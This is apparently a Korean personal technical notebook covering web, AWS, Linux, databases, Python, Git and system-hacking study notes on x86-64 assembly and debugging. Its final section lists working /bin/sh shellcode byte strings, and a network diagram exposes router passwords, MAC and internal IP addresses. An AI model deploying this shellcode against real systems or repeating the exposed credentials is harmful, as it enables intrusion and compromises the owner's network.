Author: colaf Date: 2025.09.03 23:02:01
Category: Colaf
Subject: Colaf manual
Content
ⅠColaf
ⅰURL
ⅱjavascript
ⅲcss
ⅳpug
ⅴUSER
ⅵLOG
ⅶHISTORY
ⅷport
ⅡAWS
ⅰEC2
ⅱLambda
ⅲS3
ⅳIAM
ⅢLinux
ⅰvim
ⅱcommand
ⅲnginx
ⅳPostfix
ⅴssh
ⅣDB
ⅰMYSQL
Ⅴnode.js
ⅰnpm
ⅱnode_module
ⅲexpress
ⅳpassport
ⅥPython
ⅰmain
ⅱpip
ⅲFast API
ⅳtensorflow
ⅦC
ⅧREGEX
ⅨGit
ⅩMac config
ⅰkarabiner
ⅩⅠWindows config
ⅩⅡSYSTEM
ⅩⅢ
ⅩⅣ
ⅩⅤCrypto hacking
ⅩⅥSystem hacking
ⅩⅦ Reversing hacking
ⅩⅧ Forensic
ⅩⅨWeb
ⅠColaf ⅰURL
foo://id:pw@example.com:8042/over/there?name=ferret#nose
\_/ \______________/ \________/ \_________/ \__/
scheme host:port path query fragment
authority
fragment: 같은 페이지 내 특정 부분을 표시
ⅠColaf ⅱjavascript
날짜와 시간
UTC(Universal Time Coordinated Time standard)
Time zone┬GMT(Greenwich Mean Time)
├KST(Korean Standard Time)
├JST
└…
Time zone 중 GMT를 Time standard, UTC로 정해서 사용
Zulu time: 군사 항법에서 쓰는 기준시간 UTC+0
ISO8601에서 정한 시간 표기 기준 YYYY-MM-DDT 09:00:00+09:00
YYYY-MM-DDT 00:00:00+00:00
00:00:00Z maria DB에 DATETIME에는 Zulu time이 기록된다.
ⅠColaf ⅲcss
position static(기본속성) top, bottom, left, right 무시
relative 원래 위치 기준으로 위치 설정
┌───────────────────────────────────────────────────────────────┐
│┌─────────────────────┐┌─────────────────────┐ display: block │
││display: inline block││display: inline block│ │
│└─────────────────────┘└─────────────────────┘ │
└───────────────────────────────────────────────────────────────┘
vertical-align baseline 가장 큰 요소 기준으로 baseline끼리 맞춤
top 대표요소의 top과 맞춤
─x-height
─baseline
─descender line
사실 잘 모르겠음
font-family
family name
generic family
serif(명조체): 글자의 끝에 연장선이 있다.
sans-Serif(고딕체)
h1∼h6: em 2∼0.8 Times New Roman, Times, 나눔명조, Serif
p, table: em 1 Ariel, Hervetica, 나눔바른고딕, Sans-serif
code: em 0.9 D2 Coding, Cascadia Code, Sans-Serif
Courier New, Courier, Monospace
Verdana, Geneva, Sans-Serif
ⅠColaf ⅳpug
ⅠColaf ⅶHISTORY
Outlook DB
lupin table
CREATED
DESCRIPTION
DTEND
DTSTAMP
DTSTART
LAST-MODIFIED
LOCATION
SUMMARY
ⅠColaf ⅷport
┌───────────────────────────────┐ ┌───────────────────────────────────────┐ ┌───────────────────────┐
│Wired router │ │Wireless router │ │Raspberry pi │
│ 192.168.219.1 │ │192.168.219.100 192.168.123.1 │ │192.168.123.110 │
│18:C5:01:C5:5E:4F │ │28:4E:E9:32:F5:27 │ │2C:CF:67:2C:CF:DF │
│PW: 01C5#200400 │ │PW: 715722F8M# │ │ │
│9922 ────────────────────────┼───────┼9922 ────────────────────────────────┼───────┼22 ssh │
│80 ────────────────────────┼───────┼80 ────────────────────────────────┼───────┼80 http │
│443 ────────────────────────┼───────┼443 ────────────────────────────────┼───────┼443 web │
│9443 ────────────────────────┼───────┼9443 ────────────────────────────────┼───────┼9443 media │
│ │ │ │ │10443 cam │
│ │ │ │ └───────────────────────┘
│ │ │ │ ┌───────────────────────┐
│ │ │ │ │Macbook │
│ │ │ │ │192.168.123:112 │
│ │ │ │ │88:E9:FE:6C:54:5B │
│9959 ────────────────────────┼───────┼9959 ────────────────────────────────┼───────┼5900 RDP │
│ │ └───────────────────────────────────────┘ └───────────────────────┘
│ │ ┌───────────────────────────────────────┐
│ │ │NAS │
│ │ │192.168.219.101 │
│ │ │00:11:32:49:2E:2C │
│19922 ────────────────────────┼───────┼19922 ssh │
│25 ────────────────────────┼───────┼25 mail │
│587 ────────────────────────┼───────┼587 mail │
│995 ────────────────────────┼───────┼995 mail │
│5001 ────────────────────────┼───────┼5001 DSM │
│5006 ────────────────────────┼───────┼5006 Webdav │
└───────────────────────────────┘ └───────────────────────────────────────┘
ⅡAWS ⅳIAM
Please migrate your code to use AWS SDK for JavaScript (v3).
For more information, check the migration guide at https://a.co/7PzMCcy
(Use `node --trace-warnings ...` to show where the warning was created)
javascript v3를 사용하라는 메시지가 나오고 있는데 aws sdk를 재설치해서 메시지가 나오지 않게 했다.
npm uninstall aws-sdk
npm install aws-sdk@2.729.0
접속이 안되면 보안그룹을 확인하자
AWS > EC2 > 네트워크 및 보안 > 보안 그룹
<보안그룹명>을 선택
<보안그룹명>
인바운드 규칙과 아웃바운드 규칙을 확인
================================================================
IAM(Identity and Access Managament) > 사용자 > 사용자 추가
사용자 추가
사용자 이름: colaf.net
AWS 액세스 유형 선택 > AWS 자격 증명 유형 선택: 액세스 키 - 프로그래밍 방식 액세스
다음: 권한
사용자 추가
권한 설정: 기존 정책 직접 연결, AmazonS3FullAccess
다음: 태그
사용자 추가
태그 추가(선택 사항):
다음: 검토
사용자 추가
완료
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
를 저장해둔다.
ⅢLinux ⅰvim
vim manual
~/.vimrc 파일이 설정파일이다.
navigation
┌───────────────────────┬───────────────────────────────────────┐
│j │down │
│k │up │
│h │left │
│l │right │
│^ │Home │
│$ │End │
│H │화면 위로 커서를 이동 │
│M │화면 중간으로 커서를 이동 │
│L │화면 아래로 커서를 이동 │
│gg │맨앞으로 이동 │
│<숫자>g │<숫자>번째 줄로 이동 │
│G │맨 끝으로 이동 │
│ctrl+u │절반 위로 │
│ctrl+d │절반 아래로 │
│ctrl+e │커서를 두고 위로 │
│ctrl+y │커서를 두고 아래로 │
│zt │현재 커서를 화면의 위로 오도록 │
│zz │현재 커서를 화면의 가운데로 오도록 │
│zb │현재 커서를 화면의 아래로 오도록 │
│{ │문단 시작 │
│} │문단 끝 │
└───────────────────────┴───────────────────────────────────────┘
insert mode
┌───────────────────────┬───────────────────────────────────────┐
│i │커서 위치부터 │
│a │커서 다음위치부터 입력 │
│I │줄 처음부터 입력 │
│A │줄 마지막부터 입력 │
│o │아래줄을 추가하고 입력 │
└───────────────────────┴───────────────────────────────────────┘
Command(single)
┌───────────────────────┬───────────────────────────────────────┐
│esc │command mode │
│dd │한줄 잘라내기 │
│yy │한줄 복사 │
│u │undo │
│ctrl+r │redo │
│* │커서위에 있는 단어를 highlight 정방향 │
│# │커서위에 있는 단어를 highlight 역방향 │
│ctrl+p │자동완성 │
│m │알파벳 단어에 위치 저장(마킹) │
│' │마킹한 줄로 이동 │
│` │마킹한 위치로 이동 │
│:marks │모든 마크 나열 │
└───────────────────────┴───────────────────────────────────────┘
Command(combination)
┌───────────────────────┬───────────────────────────────────────┐
│x │커서 글자 삭제 │
│y │복사하기(yank) │
│c │잘라내고 edit mode(cut) │
│p │커서 뒤에 붙여넣기 │
│P │커서 앞에 붙여넣기 │
│*p │클립보드 붙여넣기 │
│. │했던 명령행동을 반복 │
│= │정렬 │
└───────────────────────┴───────────────────────────────────────┘
접속(combination)
┌───────────────────────┬───────────────────────────────────────┐
│a │1개 │
│숫자 │숫자개만큼 │
│i │inner │
│t │앞방향으로 구문이 나올 때까지 │
│f │앞방향으로 다음 구문을 포함하여 │
│/ │단어가 나올때까지 명령을 수행 │
│' │마크 줄까지 │
│` │마크 위치까지 │
└───────────────────────┴───────────────────────────────────────┘
Object(combination)
┌───────────────────────┬───────────────────────────────────────┐
│j │아래방향으로 │
│w │단어 단위로 forward 이동 │
│b │단어 단위로 backward 이동 │
│p │paragraph │
│s │sentence │
│t │tag │
│" │따옴표 안의 문장 │
│' │따옴표 안의 문장 │
│( │소괄호 안의 문장 │
│{ │중괄호안의 문장 │
│; │했던 명령을 반복수행 │
└───────────────────────┴───────────────────────────────────────┘
visual mode
┌───────────────────────┬───────────────────────────────────────┐
│v │visual mode │
│ctrl+v │visual mode block지정 │
│zf │block을 폴딩 │
│zi │block을 언폴딩 │
└───────────────────────┴───────────────────────────────────────┘
search mode
┌───────────────────────┬───────────────────────────────────────┐
│/ │Search mode │
│n │다음 단어 │
│N │이전 단어 │
├───────────────────────┴───────────────────────────────────────┤
│:s/<찾을 단어>/<바꿀 단어>/ 바꾸기 │
├───────────────────────────────────────────────────────────────┤
│ │
│┌──────────────────────┬───────────────────────────────┐ │
││g// │이 있는 줄만 바꾼다. │ │
││, │구분자 │ │
││^ │처음 │ │
││. │현재위치 │ │
││$ │마지막 │ │
││% │전체구간 │ │
││숫자 │숫자번째 줄 │ │
││- │숫자(숫자번째 이전 출) │ │
││+ │숫자(숫자번째 다음 줄) │ │
│└──────────────────────┴───────────────────────────────┘ │
│ │
│┌──────────────────────┬───────────────────────────────┐ │
││g │줄의 모든 부분 │ │
││c │Confirm │ │
│└──────────────────────┴───────────────────────────────┘ │
└───────────────────────────────────────────────────────────────┘
Command mode(colon을 입력하여 진입)
┌───────────────────────┬───────────────────────────────────────┐
│w │저장 │
│q │종료 │
│e │열기 │
│ │ │
│ │ │
│ │ │
└───────────────────────┴───────────────────────────────────────┘
Window 제어
┌───────────────────────┬───────────────────────────────────────┐
│:tabnew │새 탭을 열기 │
│gt │다음 탭 │
│gT │이전 탭 │
│gf │링크를 열기 │
│ctrl+w, f │링크를 열기 │
│:vs │vertical split │
│:sp │horizontal split │
│ctrl+w, w │다음 창으로 이동 │
│ctrl+w, _ │가로분할 윈도우 확장 │
│ctrl+w, = │창을 같은 크기로 │
│ctrl+w, | │세로분할 윈도우 확장 │
└───────────────────────┴───────────────────────────────────────┘
탐색기
┌───────────────────────┬───────────────────────────────────────┐
│:NERDTree │NERDTree 켜기 │
│m │menu │
│e │새 창에 열기 │
│o │새 창에 열기 │
│i │좌우로 창을 나누어 열기 │
│s │위아래로 창을 나누어 열기 │
│I │숨김파일 보기 │
│R │Refresh │
└───────────────────────┴───────────────────────────────────────┘
Terminal
┌───────────────────────┬───────────────────────────────────────┐
│:terminal │terminal 켜기 │
│ctrl+w, N │terminal edit mode │
└───────────────────────┴───────────────────────────────────────┘
Folding
┌───────────────────────┬───────────────────────────────────────┐
│zf │선택부분 접기 │
│zi │접기/열기 토글 │
│zv │커서 줄 보기 │
│zo │부분 펴기(open) │
│zc │부분 접기(close) │
│zM │모두 접기 │
│zR │모두 펴기 │
│zd │접은 부분 삭제 │
└───────────────────────┴───────────────────────────────────────┘
ⅢLinux ⅱcommand
리눅스 포트 확인방법
lsof -i tcp:
kill -9
curl [option]
option
-k --insecure: https연결에서 SSL검증없이 입력
-d --data: HTTP POST요청 데이터 입력
-X --request: 요청시 사용할 메소드 종류
ⅢLinux ⅲnginx
node.js 서버가 443포트를 사용하게 해서 노출시키는 것보다 리버스프록시를 두어서 외부에는 리버스프록시만 보이게
해서 보안을 강화할 수 있다고 한다.
nginx를 설치해보자
sudo apt install -y nginx
sudo service nginx start
sudo service nginx status
sudo service nginx stop
Web server WAS(Web application server)
Client → NGINX → Web
port 443 port 9900
설정파일: /etc/nginx/nginx.conf
로그위치: tail -f /var/log/access.log, error.log
ⅢLinux ⅳPostfix
설치방법
sudo apt-get innstall postfix
설정파일 위치: /etc/postfix/main.cf
SSL 발급
openssl req -new -x509 -nodes -out postfix_default.pem -keyout postfix_default.pem -days 3650
Country Name (2 letter code) [AU]:KR
State or Province Name (full name) [Some-State]:Seoul
Locality Name (eg, city) []:Seoul
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Cola-f
Organizational Unit Name (eg, section) []:Owner
Common Name (e.g. server FQDN or YOUR name) []:colaf.net
Email Address []:colaf@colaf.net
postfix_default.pem 이 생성된다.
MYSQL 설정DB:
┌───────────────────────┐ ┌───────────────────────────────────────────────────────────────┐
│table: virtual_domains │ │table: virtual_users │
├───────┬───────────────┤ ├───────┬───────────────┬───────────────┬───────┬───────────────┤
│id │name │ │id │domain_id │password │email │reference │
├───────┼───────────────┤ ├───────┼───────────────┼───────────────┼───────┼───────────────┤
│1 │colaf.net │ │1 │1 │ENCRYPT… │ │ │
└───────┴───────────────┘ └───────┴───────────────┴───────────────┴───────┴───────────────┘
virtual_domains의 id '1'과 virtual_users의 domain_id가 같아야 한다.
ⅢLinux ⅴssh
EC2로 파일 보내는 법
scp -i <로그인에 사용하는 .pem파일> <송신하는 파일> <사용자명>@:<수신하는 디렉토리>
ex) scp -i colafDB.pem .\Current\jellybeans.vim ubuntu@x.x.x.x:/home/ubuntu
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
ssh 로 접속할 때마다 ~/.ssh/known_hosts에 호스트정보가 저장이 되는데 기존에 접속하던 호스트가 아닌곳에
접속하면 차단을 당한다. 그렇기 때문에 메시지를 보고 삭제를 해야 한다.
Add correct host key in /Users/colaf/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /Users/colaf/.ssh/known_hosts:5
ssh-keygen -R <삭제하고자 하는 호스트>
명령어를 사용하여 삭제한다.
ⅣDB ⅰMYSQL
DDL(Definition)
CREATE DATABASE
USE
CREATE TABLE
DML(Management)
INSERT INTO (', ...)
SELECT FROM WHERE 조건 IN
UPDATE SET =
REMOVE
DCL(Control)
GRANT
REVOKE
Function
substr(, 1, 1)
if(조건, 참일때 출력, 거짓일때 출력)
bin(): 2진법으로 표현
length(): 길이
char_length: 문자를 UTF-8로 변환하고 10진법으로 나타냄
ord(): ascii 코드로 변환
구조
┌───────────────────────┬───────────────┬───────────────┬───────────────┐
│db │table │column │ │
├───────────────────────┼───────────────┼───────────────┼───────────────┤
│- │sysobjects │name │ │
│- │syscolumns │name │ │
│information_schema │tables │table_name │ │
│information_schema │column │column_name │ │
│information_schema │SCHEMATA │SCHEMA_NAME │ │
└───────────────────────┴───────────────┴───────────────┴───────────────┘
Tip: sqltest.net에서 테스트 가능
MySQL vs MSSQL 비교
┌───────────────────────────────┬───────────────────────────────┐
│MySQL │MSSQL │
├───────────────────────────────┼───────────────────────────────┤
│database() │db_name() │
│substr() │substring() │
│len() │length() │
└───────────────────────────────┴───────────────────────────────┘
Ⅴnode.js ⅰnpm
npm start
npm run mac-dev
Ⅴnode.js ⅱnode_module
①pm2명령어
./node_modules/pm2/bin/pm2 start "npm start"
./node_modules/pm2/bin/pm2 kill
./node_modules/pm2/bin/pm2 status
./node_modules/pm2/bin/pm2 log
pm2로그위치: /var/services/homes/archiver/.pm2/logs/npm-start-out.log
Ⅴnode.js ⅳpassport
Ⅴnode.js ⅲexpress
/bin
/build
/data
/public: 정적 파일을 보관
/route
/views: pug를 사용하여 서버사이드 렌더링
app.js: web application의 기본함수
package.json
tsconfig.json
webpack.json
ⅥPython ⅰmain
brew install python3
python3 명령어를 사용해야 하는데 불편하므로 'alias python=python3'을 .bash_profile에 추가한다.
ⅥPython ⅱpip
pip3 명령어를 사용해야 되는데 불편하므로 'alias pip=pip3'를 .bash_profile에 추가한다.
pip 업데이트
pip install --upgrade pip
ⅥPython ⅲFast API
.bashrc 수정
Windows에서 bash를 사용할 때 python 명령어가 먹통이 된다. 다음 문구를 추가한다.
alias python='winpty python.exe'
가상환경 만들기
python -m venv
가상환경 진입하기
cd .//Scripts
source ./activate
pip install fastapi
pip install "uvicorn[standard]"
구동
main.py 작성
uvicorn main:app --reload --host=0.0.0.0 --port=9907
ⅥPython ⅳtensorflow
설치
pip install tensorflow # Machine learning을 위한 library
pip install pandas # 데이터를 불러오기 위한 library
import tensorflow as tf
import pandas as pd
datatype(dtype)
정수형: int32, 실수형: float32
텐서 자료형 선언
tf.constant([[x, x, x], [x, x, x]], tf.float32)
tf.zeros([2, 3, 1]) 2x3x1 영행렬 생성 [2, 3, 1]을 행렬의 shape이라 함
tf.cast 자료형을 변경할 수 있음
tf.Variable() weight을 저장하고 싶을 때 변경이 쉽게 된다
연산
tf.constant().shape #shape
tf.add() 덧셈
tf.substract() 뺄셈
tf.divide() 나눗셈
tf.multiply() 곱셈
tf.matmul() 행렬곱
Variable.numpy() Variable을 리스트로 바꿈
Variable.assign() Variable을 수정
Optimizer
adam, adagrad adadelta rmsprop sgd
Loss function
mean squared error: 점수를 예측, 일반적인 문제
binary_cross entropy: 결과가 0과 1 사이의 분류 문제일 때 씀
Linear Rgression
example
a = tf.Variable(0.1)
b = tf.Variable(0.2)
def loss_function():
예측값 = 키*a+b
return tf.square(260 - 예측값)
opt = tf.keras.optimizers.Adam(learning_rate=0.1)
for i in range(300):
opt.minimize(loss_function, var_list=[a, b])
print(a.numpy(), b.numpy())
Neural Network
model tf.keras.models.Sequential()
layers tf.keras.layers.Dense()
activation 함수 sigmoid, tanh, relu, softmax
optimizer adam, adagrad, adadelta, rmsprop, sgd
loss function mse, binary_crossentropy
epochs: 학습횟수
Example
pandas
pandas.read_csv('') csv파일을 읽는다.
PANDAS.isnull().sum() 값이 들어있지 않은 열의 개수를 세준다.
PANDAS.dropna() 값이 들어있지 않은 행을 없앤다.
PANDAS.fillna() 값으로 채운다.
PANDAS['']
.min() 최소값
.max() 최대값
.count() 개수
PANDAS.iterrows() 데이터를 행별로 나눈 걸 리스트로 갖고있음 for 문에서 사용하기 좋음ㅋㅌ
Linear Regression
import pandas as pd
data = pd.read_csv('<경로>')
#print(data.isnull().sum())
data = data.dropna()
data = data.fillna(100)
data['<열이름>']
data.min(), data.count(), data.max()
y데이터 = data['admit'].values
x데이터 = []
for i, rows in data.iterrows(): #한 행씩 출력할 수 있음
import tensorflow as tf
model = tf.keras.models.Sequential([
tf.keras.layers.Dense(64, activation='sigmoid'),
tf.keras.layers.Dense(128, activation='sigmoid'),
tf.keras.layers.Dense(1, activation='sigmoid') # 0~1 확률을 알고 싶으면 sigmoid가 적당
])
model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])
model.fit(x 데이터, y데이터, epochs=10) #epochs 는 학습횟수
ⅧREGEX
정규식 구성: //
flag
i Ignore case 대소문자를 구별하지 않음
g Global 전역검색 한 행의 모든 부분을 검색
m Multi line 모든 행을 검색
s .이 개행문자 \n도 포함하도록
u Unicode 유니코드 전체를 지원
y sticky 문자 내 특정 위치에서 검색을 진행하는 'sticky'모드를 활성화
pattern
a-zA-Z 영어알파벳
ㄱ-ㅎ가-힣 한글 문자
0-9 숫자
. 모든 ㄴ자열
\d 숫자
\D 숫자가 아닌 것
\w [A-Za-z0-9_]
\W \w가 아닌 것
\s 공백문자
\S 공백문자가 아닌 것
\특수기호 escape문자를 상요하여 특수기호를 표현
\b [A-Za-z0-9_계가 아닌 나머지 문자에 일치하는 경계
정규식 method javascript
String.match(<정규식>) 정규식과 일치하는 항목을 배열로 반환
String.replace(<정규식>, "대체문자열") 정규식과 일치하는 항목을 "대체문자열"로 변환
String.split(<정규식>) 정규식
Regex.test("<문자열>") 문자열이 정규식에 부합하면 true를 반환 아니면 false를 반환
Regex.exec("<문자열>") 문자열에서 정규식에 부합하는 첫번째 결과를 반환
reference
https://inpa.tistory.com/entry/JS-📚-정규식-RegExp-누구나-이해하기-쉽게-정리
ⅨGit
user setting git config --global user.name ""
git config --global user.email colaf@colaf.net
git config --global user.password
initialize git init
repository 등록 git remote add origin https://github.com/cola-f/.git
스테이징 git add .
커밋 git commit -m ""
push git push origin main
pull git pull origin main
unstage git reset
변경사항 취소 git checkout .
추적할 수 없는 파일 제거 git clean -fdx
git pull push 암호 저장
git config credential.helper store
ⅩMac config ⅰkarabiner
configuration file 위치: /Users/lupin/.config/karabiner/assets/complex_modifications
ⅩMac config ⅱcode-server
curl -fsSL
brew in
brew services start code-server
brew services stop code-server
brew services list
brew services info
sudo systemctl start code-server@
ⅩⅠWindows config
ⅩⅥSystem hacking
ⅰ개요
???.c C code 또는 skeleton code + assembly code
↓ preprocess ↓ gcc -S -o -masm=intel
???.i ↓ -fno-asynchronous-unwind-tables -nostdlib
↓ compile ↓ -fno-omit-frame-pointer
어셈블리어 ↓
???.asm ↓
↓ assemble ↓
PE, ELF ↓
↓ link ↓
binary ???
???.asm
↓ nasm -f elf ???.asm 32bit일 때
↓ nasm -f elf64 ???.asm 64bit일 때
↓ objdump -d ???.o
???.o───────────────────────────────────↘
↓ objccopy ???.o ↓xxd >
↓ --dump-section .text=???.bin ↓
???.bin bytecode text
ⅱInstruction Set Architecture, ISA: 명령어 집합구조
├IA-32 고성능 프로세서용 32bit word->4GB 가상메모리
├x86-64 고성능 프로세서용 64bit word->16엑사바이트 가상메모리
├ARM \
├MIPS |-저전력 임베디드
└AVR /
word: CPU가 한번에 처리할 수 있는 데이터크기
ⅲx86-64 Architecture
범용 레지스터: 8바이트
Accumulator ├------RAX----------------------┤ 함수의 반환값 저장
Register ├------EAX------┤ IA-32와 호환을 위해 존재
├--AX---┤ IA-16와 호환을 위해 존재
├AH-┼AL-┤
Base ├------RBX----------------------┤ x64에서 주된 용도 없음
Register ├------EBX------┤
├--BX---┤
├BH-┼BL-┤
Counter ├------RCX----------------------┤ 반복문의 횟수를 저장
Register ├------ECX------┤
├--CX---┤
├CH-┼CL-┤
Data ├------RDX----------------------┤ x64에서 주된 용도 없음
Register ├------EDX------┤ x64에서 주된 용도 없음
├--DX---┤
├DH-┼DL-┤
Source Index ├------RSI------┼------ESI------┤
Destination ├------RDI------┼------EDI------┤
Index
Base pointer ├------RBP------┼------EBP------┤
Stack pointer ├------RSP------┼------ESP------┤
R8~R15 ├-------------------------------┤
명령어 포인터 레지스터 8바이트
Instruction ├-------------------------------┤
Pointer
세그먼트 레지스터 16비트
cs, ss, ds-> 코드영역, 데이터, 스택 메모리 영역을 가리킬 때 사용
es, fs, gs-> 운영체제 별로 용도를 결정할 수 있도록 제작된 세그먼트 레지스터
플래그 레지스터 64비트
CF(Carry Flag): 부호 없는 수의 연산 결과가 비트의 범위를 넘을 경우 설정
ZF(Zero Flag): 연산의 결과가 0일 경우 설정
SF(Sign Flag): 연산의 결과가 음수일 경우 설정
OF(Overflow Flag): 부호 있는 수의 연산 결과가 비트 범위를 넘을 경우 설정
ⅳ메모리
┌───────────────────────────────┐
낮은 주소→ │실행할 프로그램의 코드 │ 코드 영역
├───────────────────────────────┤
│정적변수, 전역변수 │ 데이터 영역
├───────────────────────────────┤
│사용자의 동적 할당 │ 힙 영역
├───────────────────────────────┤
………
├───────────────────────────────┤
높은 주소→ │지역변수, 매개변수 │ 스택 영역
└───────────────────────────────┘
ⅴ연산자
형식: Opcode Operand1, Operand2
피연산자: 상수, 레지스터, 메모리(QWORD PTR[0x????], DWORD PTR[0x????], WORD PTR[0x????])
종류
┌───────────────┬───────┬───────────────────────────────────────────────────────────────────────────────┐
│데이터 이동 │move │Operand2의 값을 Operand1에 대입 │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │lea │Operand2의 주소를 Operand1에 대입 │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│산술연산 │inc │Operand1을 1 증가시킨다 │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │dec │Operand1을 1 감소시킨다 │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │add │ │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │sub │ │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│논리연산 │and │ │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │or │ │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │not │ │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│비교 │comp │Operand1과 Operand2를 비교해서 ZF에 기록한다. │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │test │ │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│분기 │jmp │Operand1로 RIP를 이동한다. │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │je │직전 comp의 결과인 ZF가 0이면 이동한다. │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │jg │직전 comp의 결과인 ZF가 1이면 이동한다. │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│stack │push │stack 상단에 값을 쌓음 │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │pop │stack 상단의 값을 꺼냄 │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│프로시저 │call │procedure를 부름 원래의 실행흐름으로 돌아가기 위해 call다음의 명령어주소를 │
│(특정 기능을 │ │스택에 저장하고 rip를 프로시저로 이동 │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│수행하는코드) │ret │호출자의 실행 흐름으로 돌아감(return) │
│ ├───────┼───────────────────────────────────────────────────────────────────────────────┤
│ │leave │스택프레임을 정 │
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│시스템콜 │syscall│rax의 값과 인자저레지스터로 전달하면, 커널이 읽어서 요청을 처리함 │
└───────────────┴───────┴───────────────────────────────────────────────────────────────────────────────┘
x64-86 syscall table
┌───────────────┬───────┬───────────────────────┬───────────────┬───────────────┐
│syscall │rax │arg0(rdi) │arg1(rsi) │arg2(rdx) │
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│read │0x00 │unsigned int fd │char *buf │size_t count │
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│write │0x01 │unsigned int fd │const char *buf│size_t count │
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│open │0x02 │const char *filename │int flags │umode_tmode │
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│close │0x03 │unsigned int fd │ │ │
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│mprotect │0xe3 │unsigned int fd │ │ │
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│ │ │ │ │ │
└───────────────┴───────┴───────────────────────┴───────────────┴───────────────┘
PE file: 윈도우 운영체제에서 사용되는 실행 파일
PE헤더
.text 코드 쓰기권한x
.data 초기화된 전역변수 읽기, 쓰기권한
.rdata 전역삼수, 참조할 dll 읽기권한
.bss 초기화되지 않은 전역변수
.idata import할 dll, api정보
.edata export할 dll, api정보
.rsrc 다이얼로그, 아이콘 등 resource
ELF file: 유닉스 계열 운영체제(리눅스 등) 에서 사용되는 실행 파일
리눅스 프로세스의 메모리
├코드세그먼트 함수 읽기, 실행권한
├데이터세그먼트 전역변수, 전역상수 읽기권한
├BSS세그먼트 정의되지 않은 전역변수
├힙세그먼트 동적할당받은 메모리
└스택세그먼트 지역변수
pwngdb manual
entry
b break
c continue
r run
disassemble, u, nearpc pdisass disassemble
ni next instruction
si step into
finish finish
x 메모리 출력
Format letters
o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address),
i(instruction), c(char), s(string) and z(hex, zero padded on the left). Size letters are b(byte),
h(halfword), w(word), g(giant, 8 bytes).
tele telescope 메모리 덤프
vmmap 가상메모리의 레이아웃
함수호출규약
assembly code
…
┌───────┐ 함수호출 ┌───────┐
│caller │──────────────────────────────→│callee │
│ │ caller의 상태, │ │
│ │ 반환주소 저장 │ │
│ │ │ │
│ │ 함수반환 │ │
│ │←──────────────────────────────│ │
└───────┘ callee의 상태 반환 └───────┘
…
assembly code
┌───────┬───────┬───────┬───────────────────────────────┐
│ │OS │Compile│Calling convention │
├───────┼───────┼───────┼───────────────────────────────┤
│C lang │Windows│MSVC │MS x64 │
├───────┼───────┼───────┼───────────────────────────────┤
│ │Linux │gcc │SYSTEM V │
├───────┼───────┼───────┼───────────────────────────────┤
│x86 │Linux │gcc │cdecl │
│binary │ │ │ │
├───────┼───────┼───────┼───────────────────────────────┤
│x86-64 │ │ │SYSTEM V │
│binary │ │ │ │
├───────┼───────┼───────┼───────────────────────────────┤
│x86 │ │ │stdcall │
│ │ │ │fastcall │
│ │ │ │thiscall │
├───────┼───────┼───────┼───────────────────────────────┤
│x86-64 │ │ │MS ABI │
│ │ │ │(Application Binary Interface) │
│ │ │ │System V AMD64 ABI │
└───────┴───────┴───────┴───────────────────────────────┘
shell code
32bit
6 \x31\xc0\xb0\x01\xcd\x80
25 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
26 scanf \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40
우회 \x40\xcd\x80
41 set
reuid
(gete
uid()
, get
reu
id())포함 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
48 \x2f없는 것 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
64bit
23 \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
